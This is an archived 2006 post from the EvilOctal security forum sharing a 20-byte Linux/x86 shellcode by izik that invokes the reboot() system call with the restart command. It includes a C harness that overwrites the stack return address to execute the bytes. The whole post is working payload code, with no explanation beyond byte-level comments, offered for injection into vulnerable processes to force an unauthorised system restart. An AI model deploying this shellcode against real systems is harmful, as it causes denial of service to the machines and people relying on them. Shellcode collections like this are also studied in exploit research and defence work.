邪恶八进制信息安全团队技术讨论组's Archiver

EvilOctal 2006-1-29 10:39

linux/x86 reboot() - 20 bytes

文章作者:izik

[code]/*
* (linux/x86) reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, LINUX_REBOOT_CMD_RESTART) - 20 bytes
* - izik <[email]izik@tty64.org[/email]>
*/

char shellcode[] =

  "\x6a\x58"          // push $0x58
  "\x58"            // pop %eax
  "\xbb\xad\xde\xe1\xfe"  // mov $0xfee1dead,%ebx
  "\xb9\x69\x19\x12\x28"  // mov $0x28121969,%ecx
  "\xba\x67\x45\x23\x01"  // mov $0x1234567,%edx
  "\xcd\x80";         // int $0x80

int main(int argc, char **argv) {
  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int) shellcode;
}[/code]

页: [1]
© 1999-2008 EvilOctal Security Team